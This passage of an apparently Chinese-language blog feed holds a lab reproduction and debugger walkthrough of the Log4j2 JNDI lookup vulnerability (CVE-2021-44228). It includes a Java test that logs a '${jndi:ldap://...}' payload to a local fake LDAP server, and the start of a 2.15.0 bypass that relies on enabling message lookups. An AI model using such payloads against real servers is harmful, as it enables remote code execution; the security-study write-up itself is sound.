ab12d146a04e03acef022f1d5f2dbc695b23e78533a34895d6d524c92a995bf78e3350df89e49cdebd19ed4691059494404d01d038cd2762367211b98dfcac28344b04823b2a93a3dc17f3fdbfb711fd42432ac37c2ab7761cffa7f872079c99072b2b45ab2fa00792eb288f6097f94b3fefdc756586a49bfe00bc50594696b742d9c1cb3d95f71b2dfeac5aaaa1f2b9c378c799f0d6a9cd13fb39605465e03488d14c33579dc80ed5da3c63191bb94ff4754a4136359afbb42f2238e65f5a651607636e847b84b8a6e5955f46be3a4ed3d2537f5d08df8b92ae4ce23277bf2de4ebb1d988ff69f62082297c02daaa4ab03937b83896158ad28d8ea6a09b5877b3ef7100eea6993be37ce1094310e9ec61444b868fe265b67bb3f92d135006664c3131b00bd7899444ccf3e39ef4bc1e4e5e139021f6cb9cc08666c8382f087d5a08adc4d024b6df852e40d080f9cf1e50d699b32b6f7320143cc1710ac9d6cf560c864c994d5d03b93e996d13027ced0dc09ae3666cc785774ecfda1237a0bcab357c74f74fb0d7f9a4b746b3b472aad76572fb7236e6e3842f48fa208cbd794fdf610d7699caa23538fbd4f5c35feeed90ca41a26e39cd1ab8f445b9253d8861cb27f869f980fd309802caf6a72939a968d782da54b1822dd54353c7d33becdf1cb18a3ec518b42909cf9b2562b461ddc14379317a5cd6f8350347317d968b9633954a5b957f9c27ea6ff073e922de55bdd816cb026a05b1377bf45f6e97f16546e40a2ba4c3c0a3b301dc80ead51f9d8f2d46686abefd71165c531f3d3661e29f7b24a3df1ac78b814534a4f0fa99c3d1b1e93854db732a246c2ede697be743ee203d851aef26979c469c54503917c159c8057a442b9d7ea241f003b9dce76219b2df1b1c8457ef6b61a5139af7dbd6922384c8f3706c19511888c08b63b802bbac0420755982e9543b1fb762f25cfea70913ac2c551131d16c75efa5be47086a7a03a4b93b39173ea3b81e0d50fb2774e06dd51e37c722348f0d3799dadbef8b0839ab7bc58d0ee5a2d647e7101cd470172ee17845989bfc91fbc246626281f2e4b0c1ad4c4d5d54404d2edb52e191a0d7f636f43d8d97fad27d785aa0f97b3aa44298b8dbc350510d81c5480b9a44f971b11a37dbf734581b010b12b7ba7080cc298c8453d19b1ef35130e16a1038e3b3952c854d797d087c89ae0b4ed0aef92107691b33e88874735542c05887f9430857173c18f3e629249a2c5224b59a74fd23f45e81b29746095a72dc0404c2606db3d8fa18154f8e25d4139f52c4a3e129dbf4dadc76b4c40e1a0c306bc10aae29042945e125340074a79b777f9a5c133dc6c4c50c0a2882cea53a6c9cf6de56981481fd7d257a1735c60e8463abfea142aa52c1c0756686a0529986301385e4f3ef296853e6eba1c664e6a475c688720b31b474fdc80e4f408361e17f5fb969835fd4c3faf644486ba0ab34afc7b1db2c0e0a2b933c330dfd26ad689dff756a763e23f32407a6207ec18b08ae3c5e1df103299b9a05073f74e70fc724db4026a6a0e72b768e5005f76171ecbc0a18179e4e7d736ff7f98ae6625fc66452690105ee553bb5a1157439eac7b9aae8511f500532273de4f689727d19e295632b7f7d2f33df02d5898e431221c91b95b85b9a4eaf465d9b7ad9b2ff0cd70e9627429a87c5ad6793b751247b4c43e9aa1f7833fe87fef17019838d2989651bd69121792d5ad6d4fc97cebe9331e9bd284487530f470edd553c14e7fdfd3f22f66c978950440d6e93b59006557436135edded86b1747c31bb13e8de791b853c76abdf3b4e0e2b781acc854815781f26b84e5bf61dc9e26632b45db9da33ccc551be27b1f91fcdff80cd902dff479ec82e313e7301776401900b3a47a9971f48efa5013bc726504c3bcb72d824bdeed1be08fa6ecb8056e982a94fa5d1673bf718786d4bb72a28a89d2231015218192d17f555ee4c449c94ddaac7d78fa781c16e06d94d45dd40bdac29839c8e70b456ea00142e2efebbcaca3f2000f991503b6991fe3a7fd1c28bbf5c4e07d7f9a8f5c4228937716ff4d8df2a255f1bd9dd47bf2fdacdc0c42cd6bb7b59a0c335fc389eb2bedf19105217f87ff8ccd29e7619a9c959a1b0ac7ce601be4cb1f57fc951a427b75d0897987acb2f9793fc654f6688944b0d8b85ce39097aa0650c4b005cf7fd0a727d816af09067ea998402919b18f88be106d6ceef4f09410c7a1d4dc950feb763c05c7fd626082eccbfa7b3787fbba731693e6f7c7764e9e109cf147e2a65bd81a4606b9765e6690ab0d2e1f1cdcca4a01615d6d988f39b2141790e92fbae74e7cc0aba144901482de66d26ca533ffaadb391b7dcbe94422ef5d4e50ceb0818fb2d4470594fc2646c1c02a0ccf76cbeeb376e5e398c18f504c6d3623480cd107558902cb50154a2b6966793964dff663c500bccf00da650090150c6a529701da8922f318655f458234b41837122f2d162966cbbd41ab009e7ffff31cd3c72efc7e236ba23e0b22e9e1f56e011569464c9f35ab635def925ad2f489f87bbb15f9c79517e31cc6aa67258534b64172508fd899ecf7c0567e354717a4e91038118d322ddcfae6edd62a6c05f870287f2ea30d5d60f498fe0b998ab5627f7e9670e6bea85e174fdce40937b406c024ea13e407ef714299bceeb5d190bfc87c820259414a42ac6060867765d7d57fd494ea79536c4cdfd3b8f8f07a3795b11e9f805806422b902bf155b2d4eeab8f5b1ba26784b931dbae24d5727421f7fdf258764036c221d537a42087923a12b9aba1df06c652d207aacb4cddc53ffcf153e69dd05d6f8efffc6e52689ece91eebcff2bb2daf7cd56fa6a101a39116ec098e2f73952f842023aa8d89c39fcdb69f2968ecd9efc432aa6441e4789ff71a7a39efd2aacb28828fb2c9815d8e79150d8857744cb4b3bf51187a9212127dc2e1253295a249c5ebb1f20e5da078110b871875d7a12056908275c523271b6033d0b6c1947c9c5ddce8354dabfbc0505ccdd43b8787b16764547f82f1505a54117c9684271a3cae6cbcdfa8b63ad48d46add565033387af233c70d68c4175d51d96031c0dd6bb1e4a7f2a9e96c2c07f81db948659637abd3974fca291dd4c605ef978436735e0a5db48e7973cfd29831cb5b42380fb58aff2ce2d35cef9f3d21317b8be82816a165c</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-default">      <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-default">Hey, password is required here.</span>      </label>    </div>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">Here&#39;s something encrypted, password is required to continue reading.</summary>
    
    
    
    <category term="学习" scheme="http://example.com/categories/%E5%AD%A6%E4%B9%A0/"/>
    
    
    <category term="知识" scheme="http://example.com/tags/%E7%9F%A5%E8%AF%86/"/>
    
    <category term="工具学习" scheme="http://example.com/tags/%E5%B7%A5%E5%85%B7%E5%AD%A6%E4%B9%A0/"/>
    
    <category term="代码审计" scheme="http://example.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2021-44228 Log4j2复现</title>
    <link href="http://example.com/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/"/>
    <id>http://example.com/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/</id>
    <published>2026-05-14T00:27:42.000Z</published>
    <updated>2026-05-15T12:40:38.861Z</updated>
    
    <content type="html"><![CDATA[<h1 id="CVE-2021-44228-Log4j2复现"><a href="#CVE-2021-44228-Log4j2复现" class="headerlink" title="CVE-2021-44228 Log4j2复现"></a>CVE-2021-44228 Log4j2复现</h1><h2 id="log4j2的基本使用"><a href="#log4j2的基本使用" class="headerlink" title="log4j2的基本使用"></a>log4j2的基本使用</h2><p>大名鼎鼎的log4j2来了</p><p>log4j2是apache提供的一个日志管理服务 记录日志信息 </p><p>详细的介绍与使用可以看这篇文章</p><p><a href="https://www.cnblogs.com/antLaddie/p/15904895.html">一文带你彻底掌握Log4j2 </a></p><p>这个配置文件是网上随便找的一个</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">configuration</span> <span class="attr">status</span>=<span class="string">&quot;info&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">Properties</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">Property</span> <span class="attr">name</span>=<span class="string">&quot;pattern1&quot;</span>&gt;</span>[%-5p] %d %c - %m%n<span class="tag">&lt;/<span class="name">Property</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">Property</span> <span class="attr">name</span>=<span class="string">&quot;pattern2&quot;</span>&gt;</span></span><br><span class="line">            =========================================%n 日志级别：%p%n 日志时间：%d%n 所属类名：%c%n 所属线程：%t%n 日志信息：%m%n</span><br><span class="line">        <span class="tag">&lt;/<span class="name">Property</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">Property</span> <span class="attr">name</span>=<span class="string">&quot;filePath&quot;</span>&gt;</span>logs/myLog.log<span class="tag">&lt;/<span class="name">Property</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">Properties</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">appenders</span>&gt;</span> <span class="tag">&lt;<span class="name">Console</span> <span class="attr">name</span>=<span class="string">&quot;Console&quot;</span> <span class="attr">target</span>=<span class="string">&quot;SYSTEM_OUT&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">PatternLayout</span> <span class="attr">pattern</span>=<span class="string">&quot;$&#123;pattern1&#125;&quot;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">Console</span>&gt;</span> <span class="tag">&lt;<span class="name">RollingFile</span> <span class="attr">name</span>=<span class="string">&quot;RollingFile&quot;</span> <span class="attr">fileName</span>=<span class="string">&quot;$&#123;filePath&#125;&quot;</span></span></span><br><span class="line"><span class="tag">                            <span class="attr">filePattern</span>=<span class="string">&quot;logs/$$&#123;date:yyyy-MM&#125;/app-%d&#123;MM-dd-yyyy&#125;-%i.log.gz&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">PatternLayout</span> <span class="attr">pattern</span>=<span class="string">&quot;$&#123;pattern2&#125;&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">SizeBasedTriggeringPolicy</span> <span class="attr">size</span>=<span class="string">&quot;5 MB&quot;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">RollingFile</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">appenders</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">loggers</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">root</span> <span class="attr">level</span>=<span class="string">&quot;info&quot;</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">appender-ref</span> <span class="attr">ref</span>=<span class="string">&quot;Console&quot;</span>/&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">appender-ref</span> <span class="attr">ref</span>=<span class="string">&quot;RollingFile&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">root</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">loggers</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br></pre></td></tr></table></figure><p>配置信息不用管 不是重点</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.logging.log4j.LogManager;</span><br><span class="line"><span class="keyword">import</span> org.apache.logging.log4j.Logger;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.function.LongFunction;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Log4j2Test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">    <span class="comment">//获取logger</span></span><br><span class="line">    <span class="type">Logger</span> <span class="variable">logger</span> <span class="operator">=</span> LogManager.getLogger(LongFunction.class);</span><br><span class="line">    <span class="comment">//现在就可以记录日志了</span></span><br><span class="line">    logger.info(<span class="string">&quot;info level111&quot;</span>);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>基本使用就是先获取logger然后就可以记录日志了</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260512203530803.png" alt="image-20260512203530803"></p><p>打印的内容和配置信息有关</p><hr><h2 id="寻找漏洞点"><a href="#寻找漏洞点" class="headerlink" title="寻找漏洞点"></a>寻找漏洞点</h2><p>现在来查看官方文档</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260512203812040.png" alt="image-20260512203812040"></p><p>log4j2提供一个查找功能 不难想到rmi和jndi的lookup方法 文档里面也确实有这个类似接口</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260512203937468.png" alt="image-20260512203937468"></p><p>提供一个可以使用jndi的api</p><p>${jndi:地址}</p><p>我们先使用一下这个lookupsApi具体怎么用的</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.logging.log4j.LogManager;</span><br><span class="line"><span class="keyword">import</span> org.apache.logging.log4j.Logger;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.function.LongFunction;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Log4j2Test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">    <span class="type">Logger</span> <span class="variable">logger</span> <span class="operator">=</span> LogManager.getLogger(LongFunction.class);</span><br><span class="line">    <span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> <span class="string">&quot;sakuya&quot;</span>;</span><br><span class="line">    logger.info(<span class="string">&quot;info &#123;&#125;&quot;</span>,username);</span><br><span class="line">    logger.error(<span class="string">&quot;$&#123;java:os&#125;&quot;</span>);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260512204408192.png" alt="image-20260512204408192"></p><p>将内容直接放入logger.info()里面 或者其他等级日志即可生效</p><p>log4j2还提供在字符串中可以使用{}用来占位 逗号后面填写变量</p><p>我们使用一下jndi的api</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.logging.log4j.LogManager;</span><br><span class="line"><span class="keyword">import</span> org.apache.logging.log4j.Logger;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.function.LongFunction;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Log4j2Test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">    <span class="type">Logger</span> <span class="variable">logger</span> <span class="operator">=</span> LogManager.getLogger(LongFunction.class);</span><br><span class="line">    <span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> <span class="string">&quot;$&#123;jndi:ldap://127.0.0.1/Calc&#125;&quot;</span>;</span><br><span class="line">    logger.info(<span class="string">&quot;info &#123;&#125;&quot;</span>,username);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>启动fakeldap</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260512204842977.png" alt="image-20260512204842977"></p><p>成功弹出计算器</p><p>如果日志里面的变量可控 我们就可以打jndi 直接远程加载class文件实现rce </p><p>只需要变量可控即可 利用相当简单</p><hr><h2 id="开始调试"><a href="#开始调试" class="headerlink" title="开始调试"></a>开始调试</h2><p>现在来调试一下</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514083453582.png" alt="image-20260514083453582"></p><p>进入<strong>logger.info()</strong></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514083643966.png" alt="image-20260514083643966"></p><p>判断是否开启了日志服务</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514083539226.png"></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514083619715.png" alt="image-20260514083619715"></p><p>将原始的message和p0封装为一个Message对象</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514083808944.png" alt="image-20260514083808944"></p><p>进入**tryLogMessage()**方法</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514084032492.png" alt="image-20260514084032492"></p><p>继续进入<strong>Logger.log</strong>方法</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514084053944.png" alt="image-20260514084053944"></p><p>首先获取到一个<strong>ReliabilityStrategy</strong>对象 获取配置信息</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514084326156.png" alt="image-20260514084326156"></p><p>回到<strong>Logger.log</strong>方法</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514084355715.png" alt="image-20260514084355715"></p><p>进入<strong>LocationAwareReliabilityStrategy.log</strong>方法</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514084705845.png" alt="image-20260514084705845"></p><p>获取配置信息 进入<strong>config.log</strong></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514105930053.png" alt="image-20260514105930053"></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514110022440.png" alt="image-20260514110022440"></p><p>继续封装成LogEvent 进入<strong>log方法</strong></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514110100170.png" alt="image-20260514110100170"></p><p>进入<strong>processLogEvent方法</strong></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514110149347.png" alt="image-20260514110149347"></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514110201819.png" alt="image-20260514110201819"></p><p>调用AppenderControl去callAppender</p><p>从这里开始处理内容了</p><p>这里的appenders有2个 取决去配置文件里面的设置</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514110338209.png" alt="image-20260514110338209"></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514110353126.png" alt="image-20260514110353126"></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514110408624.png" alt="image-20260514110408624"></p><p>进入<strong>AppenderControl.tryCallAppender方法</strong></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514111743875.png" alt="image-20260514111743875"></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514111839754.png" alt="image-20260514111839754"></p><p>layout是日志里面的输出内容格式</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514111935434.png" alt="image-20260514111935434"></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514112042415.png" alt="image-20260514112042415"></p><p>进入<strong>PatternLayout.toText</strong>方法</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514112205943.png" alt="image-20260514112205943"></p><p>这里调用传入的eventSerializer许序列化我们的event</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514112430879.png" alt="image-20260514112430879"></p><p>调用formatter格式器进行格式化输出内容 buffer就是每次格式化后的内容</p><p>注意这里面的第7个格式器 </p><p>他会解析我们的lookups的api 进而触发jndi</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514112638309.png" alt="image-20260514112638309"></p><p>使用LogEventPatternConverter.format进行格式化</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514112927651.png" alt="image-20260514112927651"></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514112907080.png" alt="image-20260514112907080"></p><p>这里进行解析 前面6个格式化也就是解析内容 我们不必在意</p><p>我们直接跳到第7个格式化器查看具体情况</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514113024874.png" alt="image-20260514113024874"></p><p>跳转到了别的form方法</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514113139272.png" alt="image-20260514113139272"></p><p>这里又得开始解析 我们的内容为<code>${jndi:ldap://127.0.0.1:4321/Calc}</code></p><p>直接定位到下面的<strong>getStrSubstitutor().replace(event,value)</strong></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514113307286.png" alt="image-20260514113307286"></p><p><strong>getStrSubstitutor方法</strong>会获取所有支持的方法类型 可以看到有jndi</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514113431528.png" alt="image-20260514113431528"></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514113439293.png" alt="image-20260514113439293"></p><p>开始处理lookups方法了</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514113612637.png" alt="image-20260514113612637"></p><p>这里处理相当复杂 直接来到最终的地方</p><p><strong>resolveVariable方法</strong>处理我们的lookups方法内容</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514113743273.png" alt="image-20260514113743273"></p><p>获取resolver 并开始调用lookups方法</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514113844024.png" alt="image-20260514113844024"></p><p>通过前缀判断方法类型</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514113915841.png" alt="image-20260514113915841"></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514113958169.png" alt="image-20260514113958169"></p><p>终于是要触发jndi了</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514114041073.png" alt="image-20260514114041073"></p><p>成功触发</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514114109315.png" alt="image-20260514114109315"></p><p>最后会弹2次计算器 因为我们最开始的appender有2和 所以会调用2次lookup方法</p><hr><h3 id="总结一下"><a href="#总结一下" class="headerlink" title="总结一下"></a>总结一下</h3><p>2.x &lt; version &lt; 2.15.0的版本都会触发漏洞</p><p>整个流程就是封装我们的message 最后变成一个LogEvent对象 后面进行具体解析的还是判断<code>$ {</code> </p><p>如果判断到了就尝试获取前缀 然后通过前缀去触发lookup 从而触发漏洞</p><p>还有其他比较重要的类Appender PatternFormater PatternConverter  resolver StrSubstitutor</p><p>调试下来默认情况都是可以执行jndi的</p><hr><h2 id="2-15-0-bypass"><a href="#2-15-0-bypass" class="headerlink" title="2.15.0 bypass"></a>2.15.0 bypass</h2><p><strong>先总结 window不能打 而且必须修改配置文件</strong></p><p>直接看到这里</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514150840456.png" alt="image-20260514150840456"></p><p>这里的converter是一个匿名类<strong>SimpleMessagePatternConverter</strong></p><p>进入他的<strong>format方法</strong></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514150951238.png" alt="image-20260514150951238"></p><p>并没有去解析<code>${}</code>内容 在这里就跳过了lookup的解析 从而阻止了上个版本的rce </p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514151509581.png" alt="image-20260514151509581"></p><p>这个版本里面的MessagePatternConverter类里面有很多匿名类</p><p>找到一个LookupMessagePatternConverter类 发现他的format会检测是否有<code>${</code> 如果有的话就会去解析 </p><p>后面进入到这个方法 </p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514151713085.png" alt="image-20260514151713085"></p><p>这不就是2.14.1版本里面的某个解析方法吗 如果可以进入这个匿名类的format方法里面 就应该可以绕过限制</p><p>那么想要绕过这个版本的限制 我们就需要使<strong>Converter</strong>为<strong>MessagePatternConverter</strong>的匿名类<strong>LookupMessagePatternConverter</strong></p><p>我们现在得找一下 什么时候创建了这个对象 又为什么会创建为另一个不会解析的对象了呢</p><p>MessagePatternConverter里面有个newInstance方法</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514152520640.png" alt="image-20260514152520640"></p><p>猜测就是这里没有绕过条件判断 默认情况下我们的converter就是FormattedMessagePatternConverter</p><p>我们来看看</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (lookups &amp;&amp; config != <span class="literal">null</span>) &#123;</span><br><span class="line">     result = <span class="keyword">new</span> <span class="title class_">LookupMessagePatternConverter</span>(result, config);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514152833669.png" alt="image-20260514152833669"></p><p>主要是lookups默认情况下是false 导致没法执行lookups的一些列方法</p><p>跟进loadLookups方法</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514153155329.png" alt="image-20260514153155329"></p><p>应该是从配置文件里面获取到这个配置 默认都是没有配置looksup有关的配置的</p><p>也就是说这个版本需要手动配置一个looksup开关才能打</p><p>这个配置文件我看了一下别的师傅的内容 直接贴上</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">configuration</span> <span class="attr">status</span>=<span class="string">&quot;OFF&quot;</span> <span class="attr">monitorInterval</span>=<span class="string">&quot;30&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">appenders</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">console</span> <span class="attr">name</span>=<span class="string">&quot;CONSOLE-APPENDER&quot;</span> <span class="attr">target</span>=<span class="string">&quot;SYSTEM_OUT&quot;</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">PatternLayout</span> <span class="attr">pattern</span>=<span class="string">&quot;%m&#123;lookups&#125;%n&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span 